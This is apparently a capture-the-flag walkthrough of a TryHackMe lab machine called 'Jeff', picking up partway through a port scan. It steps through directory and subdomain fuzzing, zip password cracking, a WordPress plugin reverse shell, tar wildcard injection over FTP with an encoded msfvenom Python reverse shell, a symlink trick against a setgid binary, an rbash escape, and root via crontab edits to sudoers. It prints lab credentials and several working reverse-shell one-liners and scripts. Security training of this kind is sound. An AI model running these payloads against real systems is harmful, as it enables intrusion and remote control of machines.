80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  7 13:15:51 2020 -- 1 IP address (1 host up) scanned in 26.86 seconds

We can see we only have port 22 and port 80 open.

Lets see whats on port 80.
We navigate to port 80 and only find a blank page. Viewing the source code we can see a little hint in there of us.

1
<!-- Did you forget to add jeff.thm to your hosts file??? -->

We then add jeff.thm to our /etc/hosts file.

Lets now navigate to http://jeff.thm.

We can see we have a blog page for Jeff.

Lets run gobuster against the site to see if we have any interesting directories.

1
2
gobuster dir -u http://jeff.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,                                                                                                                                  
html,php -t 100

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm/
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2020/07/07 12:32:25 Starting gobuster
===============================================================
/index.html (Status: 200)
/uploads (Status: 301)
/admin (Status: 301)
/assets (Status: 301)
/backups (Status: 301)
/source_codes (Status: 301)
===============================================================
2020/07/07 12:35:18 Finished
===============================================================

We then continued fuzzing for directories and file extensions and managed to find a backup.zip file within the backups directory.

1
gobuster dir -u http://jeff.thm/backups -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,c,asm,zip -t 100

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm/backups
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: zip,txt,html,php,c,asm
[+] Timeout: 10s
===============================================================
2020/07/07 16:32:39 Starting gobuster
===============================================================
/backup.zip (Status: 200)

We proceeded to download the file to see what information we can get from it.

The file was password protected so we used fcrackzip to brute-force the password.

1
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip

┌──(kali㉿puckie)-[~/thm/jeff/backup]
└─$ cat wpadmin.bak 1 ⨯
wordpress password is: phO#g)C5dhIWZn3BKP

Inside the zip file we found a “wpadmin.bak” file.
cat the file and we see we have a wordpress password.

Now lets find the wordpress site. We started scanning for any sub-domains.

1
wfuzz -c -f sub-fighter -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://jeff.thm/" -H "Host: FUZZ.jeff.thm" -t 42 --hh 62 

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz’s documentation for more information.
********************************************************
* Wfuzz 2.4.5 – The Web Fuzzer *
********************************************************
Target: http://jeff.thm/
Total requests: 19983
===================================================================
ID Response Lines Word Chars Payload
===================================================================

000000326: 200 346 L 1455 W 25901 Ch “wordpress”

Total time: 101.0978
Processed Requests: 19983
Filtered Requests: 19982
Requests/sec.: 197.6600

We can see we have a sub-domain called wordpress.

We add wordpress.jeff.thm to our /etc/hosts file and navigate to it.
We can see we have a standard WordPress site.

Lets try the credential we found in the backup.zip file.

The credentials worked.
We can now proceed in getting a reverse shell using the plugins in WordPress.

We navigate to the WordPress plugin editor and add our php reverse shell in the code.

1
2
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.14.0.41/1337 0>&1'"); ?>

We then activate the plugin in the installed plugins menu to trigger our reverse shell.

We got a shell.

We can see there is no users in the /home directories. This might indicate that we are in a Docker container.

We test by running a simple script.

1
2
3
4
5
6
#!/bin/bash
if [ -f /.dockerenv ]; then
    echo "I'm inside matrix ;(";
else
    echo "I'm living in real world!";
fi

We can see that we are in fact in a docker container.
We started looking for any files or information that we can use to escape the docker.

Inside /var/www/html we can see a interesting looking file called ftp_backup.php.

We cat the file and see it contains ftp credentials for the user backupmgr.

SuperS1ckP4ssw0rd123!

Looks like this could be an incomplete script.

Let’s try to connect to FTP server using curl. Note: -P - is the important part makes curl use the only available connection.

1
2
www-data@Jeff:/var/www/html$ curl -s -P - --list-only 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/'
files

I googled around for “linux backup privilege escalation” and i found an article about TAR wildcard injection & it worked.

First lets generate a python one-liner reverse shell using msfvenom.

1
2
3
4
5
$ msfvenom -p cmd/unix/reverse_python lhost=10.9.234.105 lport=6666 R

No encoder specified, outputting raw payload
Payload size: 625 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgLCAgICAgIHN1YnByb2Nlc3MgICwgICAgICBvcyAgICAgOyAgICAgICAgIGhvc3Q9IjEwLjkuMjM0LjEwNSIgICAgIDsgICAgICAgICBwb3J0PTY2NjYgICAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICwgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICAgICAgcy5jb25uZWN0KChob3N0ICAsICAgICAgcG9ydCkpICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAsICAgICAgMCkgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICwgICAgICAxKSAgICAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgLCAgICAgIDIpICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))"

Let’s add into shell.sh:

1
2
www-data@Jeff:/tmp$ echo "python3 -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgLCAgICAgIHN1YnByb2Nlc3MgICwgICAgICBvcyAgICAgOyAgICAgICAgIGhvc3Q9IjEwLjkuMjM0LjEwNSIgICAgIDsgICAgICAgICBwb3J0PTY2NjYgICAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICwgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICAgICAgcy5jb25uZWN0KChob3N0ICAsICAgICAgcG9ydCkpICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAsICAgICAgMCkgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICwgICAgICAxKSAgICAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgLCAgICAgIDIpICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))\"" > shell.sh
<9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))\"" > shell.sh

Now we will use 2 commands that help tar to run shell.sh:

1
2
www-data@Jeff:/tmp$ echo "" > "--checkpoint-action=exec=sh shell.sh"
www-data@Jeff:/tmp$ echo "" > --checkpoint=1

Now let’s upload them to FTP server using curl.

1
2
3
www-data@Jeff:/tmp$ curl -s -P - -T "shell.sh" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
www-data@Jeff:/tmp$ curl -s -P - -T "--checkpoint-action=exec=sh shell.sh" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
www-data@Jeff:/tmp$ curl -s -P - -T "--checkpoint=1" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'

We’ve shell back.

1
2
3
4
5
6
7
$ nc -lvp 6666
listening on [any] 6666 ...
connect to [10.9.234.105] from jeff.thm [10.10.39.166] 50444
python3 -c 'import pty; pty.spawn("/bin/bash")'
backupmgr@tryharder:~/.ftp/files$ whoami;id
backupmgr
uid=1001(backupmgr) gid=1001(backupmgr) groups=1001(backupmgr)

we could do it also the Python way

After doing some troubleshooting we found that python3.7 is available to us.

We can now create a script to upload our files to the ftp server and try to get code execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3.7
from ftplib import FTP
import os
import fileinput
import io
host = "172.20.0.1"
username = "backupmgr"
password = "SuperS1ckP4ssw0rd123!"
ftp = FTP(host=host)
login_status = ftp.login(user=username, passwd=password)
print(login_status)
ftp.set_pasv(False)
ftp.cwd('files')
print(ftp.dir())
rev = io.BytesIO(b'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.0.41",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')
emptyFile = io.BytesIO(b'')
ftp.storlines('STOR rev.sh', rev)
ftp.storlines('STOR --checkpoint=1', emptyFile)
ftp.storlines('STOR --checkpoint-action=exec=sh rev.sh', emptyFile)
ftp.dir()
ftp.quit()

Its worked and we got a shell.

We can see we are now the user backupmgr.

We would now need to elevate to jeff.

We start by looking for file belonging to jeff.

python3 -c 'import pty; pty.spawn("/bin/bash")'
1
find / -user jeff 2>/dev/null

We can see a backup file for jeff called jeff.bak, together with a file called systool.

We check the permissions set for jeff.bak.

1
2
ls -al /var/backups/jeff.bak
-rwxr-x--- 1 jeff pwman 43 May 11 15:14 jeff.bak

We can see the file can only be viewed by the user jeff and any user belonging to the group pwman.

We then do the same for the file systools and see it has a SUID set.

1
2
ls -al /opt/systools/systool
-rwxr-sr-x 1 jeff pwman 17160 May 24 13:18 /opt/systools/systool

Lets try and see what systool does.

Running the file with ltrace we can see that option 2 will open and read the file called message.txt.

1
fopen("message.txt", "r")

We might be able to use this to read whats inside jeff.bak.

We remove the file called message.txt from /opt/systools and proceed with creating a symbolic link to the file jeff.bak called message.txt.

1
ln -s /var/backups/jeff.bak message.txt

We run systool again with option 2 and it worked. We now have jeff’s password. : 123-My-N4M3-1z-J3ff-123

We can now su to jeff.
Trying to change directory we can see we are in a restricted rbash shell.

We try and escape by running /bin/bash -p, but got the error that we are not aloud to run “/”.

We’re into rbash to bypass that we’ll use SSH again with --no-profile.

1
2
3
4
5
$ ssh jeff@$ip -t "bash --noprofile"
jeff@10.10.39.166's password: 123-My-N4M3-1z-J3ff-123
jeff@tryharder:~$ whoami;id
jeff
uid=1000(jeff) gid=1000(jeff) groups=1000(jeff),1002(pwman)

The flag seems to be hashed (HashMeLikeOneOfYourFrenchGirls) with MD5:

jeff@tryharder:~$ echo -n "HashMeLikeOneOfYourFrenchGirls" | md5sum
e12*****cac  -

User flag: THM{e12*****cac}

Shell as root

We can now run sudo -l to view Jeff’s sudo rights.

We can see Jeff is able to run crontab with sudo.
We can now use crontab -e so insert our code to run within a given time.

1
sudo crontab -e

We add the following line.

1
*/1 * * * * echo "jeff ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

It worked.

Now all left to do is sudo su, and we are root.

Since crontab it uses vim we could  also just do :!/bin/bash!

root@tryharder:/home/jeff# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b262c6303ac4 new-site "docker-entrypoint.s…" 15 months ago Up 59 minutes 127.0.0.1:8080->80/tcp wordpress_wordpress_1
ff92e72d4133 mysql:5.7 "docker-entrypoint.s…" 15 months ago Up 59 minutes 3306/tcp, 33060/tcp wordpress_db_1
root@tryharder:/home/jeff#

or add to crontab to get a shell

* * * * * python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

.